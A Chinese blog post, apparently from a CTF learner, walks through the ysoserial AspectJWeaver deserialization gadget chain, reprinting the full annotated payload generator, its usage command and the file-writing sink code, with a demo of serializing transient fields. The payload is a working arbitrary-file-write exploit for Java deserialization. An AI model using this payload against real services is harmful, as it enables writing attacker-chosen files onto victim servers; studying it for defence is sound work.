认识一下ysoserial的AspectJWeaver

前言

AntCTFxD^3CTF 中学到了很多,参照大佬的文章也跟着分析一下ysoserial中的AspectJWeaver

基础部分

ysoserial中的AspectJWeaver : 此gadget用于写文件

Java的File类相关知识

File.separator表示目录分隔符/或者\,根据系统判断

HashSet

HashSet 实现原理简述 : HashMap是HashSet的核心,而Map添加元素需要调用put(key,value)则必须有键和值。但HashSet相当于只有键,故实现HashSet时官方使用了固定值来做value,即PRESENT。而PRESENT则是用来造一个假的value来用的。

HashSet中PRESENT和HashMap

分析 : 由下图可见HashMap成员变量使用了private修饰 ,PRESENT的注释翻译为"与后备映射中的对象相关联的虚拟值" ,

其实这里有一个疑点,为什么HashMap被transient修饰,仍会序列化呢 ? 这个问题分析在最下方给出 ~

认识一下ysoserial的AspectJWeaver

add方法源代码

分析 : HashSet添加元素调用了HashMap的put方法,PRESENT为固定值

认识一下ysoserial的AspectJWeaver

分析ysoserial中的payload

分析的时候加了一些注释,助于理解

package ysoserial.payloads;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/*
Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

Usage:
args = "<filename>;<base64 content>"
Example:
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="

More information:
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
 */
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({ Authors.JANG })

public class AspectJWeaver implements ObjectPayload<Serializable> {

    @Override
    public Serializable getObject(final String command) throws Exception {
        int sep = command.lastIndexOf(‘;‘);
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
        }
        //将文件名和内容分割
        String[] parts = command.split(";");
        //文件名在0元素
        String filename = parts[0];
        //base64编码保证文件数据不损失
        byte[] content = Base64.decodeBase64(parts[1]);
        //获取SimpleCache的内部类StoreableCachingMap的构造器
        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");

        /**
         * 生成StoreableCachingMap实例,newInstance(".", 12);
         * 第一个参数固定为 . 目的是保证文件写到当前目录
         */
        Object simpleCache = ctor.newInstance(".", 12);
        Transformer ct = new ConstantTransformer(content);
        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
        //将文件内容映射到MapEntry里,用于调用getValue,getKey取值
        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

        //参数设置为1,此参数会影响后面的构造
        HashSet map = new HashSet(1);
        //添加一元素,在HashMap角度是添加一个键值对,也是创建第一个键值对,保证反射改值不会空指针
        map.add("foo");

        //private修饰,故通过反射获取HashSet的核心成员——hashMap
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        //赋予权限
        Reflections.setAccessible(f);
        //获取实例对象"map"的HashMap
        HashMap innimpl = (HashMap) f.get(map);

        //同理,此处获取HashMap的成员变量table
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        //授予权限
        Reflections.setAccessible(f2);
        //强转获得相应的java.util.HashMap$Node
        Object[] array = (Object[]) f2.get(innimpl);
        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        //System.out.println(node.getClass());
        //反射获取key属性
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        //授予权限
        Reflections.setAccessible(keyField);
        //最后一步,完成强行更改键值对的操作,成功生成恶意实例
        keyField.set(node, entry);
        //返回HashSet实例
        return map;

    }

    public static void main(String[] args) throws Exception {
        //新建h3zh1.txt内容为hello hack
        args = new String[]{"h3zh1.txt;aGVsbG8gaGFjawo="};

        PayloadRunner.run(AspectJWeaver.class, args);
    }
}

会发现这里用了大量的反射操作,原因如下 :

  • StoreableCachingMap不能直接操作StoreableCachingMap
  • HashSet没有暴露的方法可以直接对HashMap进行操作

链子分析

在SimpleCache内部类StoreableCachingMap.put方法处打断点

完整调用顺序如下截图:

认识一下ysoserial的AspectJWeaver

HashSet关键部分调用链

认识一下ysoserial的AspectJWeaver

HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

其他的一些相关分析

payload中Object simpleCache = ctor.newInstance(".", 12);一句的参数为什么这样设置 ?

在SimpleCache$StorableCachingMap.writeToPath()调用中,完成了文件的读写操作,源码如下:

private String writeToPath(String key, byte[] bytes) throws IOException {
  String fullPath = this.folder + File.separator + key;
  FileOutputStream fos = new FileOutputStream(fullPath);
  fos.write(bytes);
  fos.flush();
  fos.close();
  return fullPath;
}

此处为fullPath的赋值操作

String fullPath = this.folder + File.separator + key;
  • this.folder的值是什么?

    此值和yso的payload中如下代码相关 :

Object simpleCache = ctor.newInstance(".", 12);

.表示当前目录,在调用newInstance后会触发构造函数,如下图 ,即this.folder会被设置为.

认识一下ysoserial的AspectJWeaver

  • File.separator基础部分已经叙述过了,为目录分隔符

  • key是要生成的文件名

综上三点所述: fullPath的值会被设置为"./h3zh1.txt",所以文件会被生成到项目目录

最下方

来解答问题,问题描述

为什么HashSet源码实现中HashMap成员被transient修饰,仍会触发序列化和反序列化 ?

刚开始我没有意识到HashMap序列化使用了transient来修饰。因为一般情况下被transient修饰的成员是不可以序列化的。但是如果重写readObject方法和writeOject方法,也可以完成序列化。

给出一个transient修饰可以反序列化的示例:

假如有个Exp类"行不更名坐不改姓",但是重写了readObject方法和writeOject方法

import java.io.*;

public class Exp implements Serializable{
  	//正常不可序列化,反序列化
    private transient String name;
    private int age ;

    public  Exp(int age , String name){
        this.age = age;
        this.name = name;
    }
    //重写——强行序列化
    private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException{
        s.defaultWriteObject();
        //不想强制序列化name可注释下一行
        s.writeObject(this.name);
    }
    //重写——强行反序列化
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        //不想强制反序列化name可注释下一行
        this.name = (String) s.readObject();
    }

    @Override
    public String toString() {
        return "Exp{" +
            "name=‘" + name + ‘\‘‘ +
            ", age=" + age +
            ‘}‘;
    }

    //序列化函数
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fileInputStream = new FileOutputStream("hello.class");
        ObjectOutputStream oos = new ObjectOutputStream(fileInputStream);
        oos.writeObject(obj);
        oos.close();
    }
    //反序列化
    public static Object  unserialize() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("hello.class");
        ObjectInputStream ois = new ObjectInputStream(fileInputStream);
        return ois.readObject();
    }

    public static void main(String[] args) throws Exception {
        Exp exp = new Exp(18,"katherine");
        System.out.println("初始:"+exp);
        serialize(exp);
        Exp newExp = (Exp)unserialize();
        System.out.println("序列化后:"+newExp);
    }
}

认识一下ysoserial的AspectJWeaver

那么推理到HashSet类

来HashSet的readObject重写部分甚至给了注释"Read in all elements" :

认识一下ysoserial的AspectJWeaver

同样去找一下HashSet的writeObject方法 :

认识一下ysoserial的AspectJWeaver

原来,你们早就在这里了……

文章参考 :

认识一下ysoserial的AspectJWeaver

上一篇:小程序---提交成功弹框


下一篇:原生js时间戳获取和转换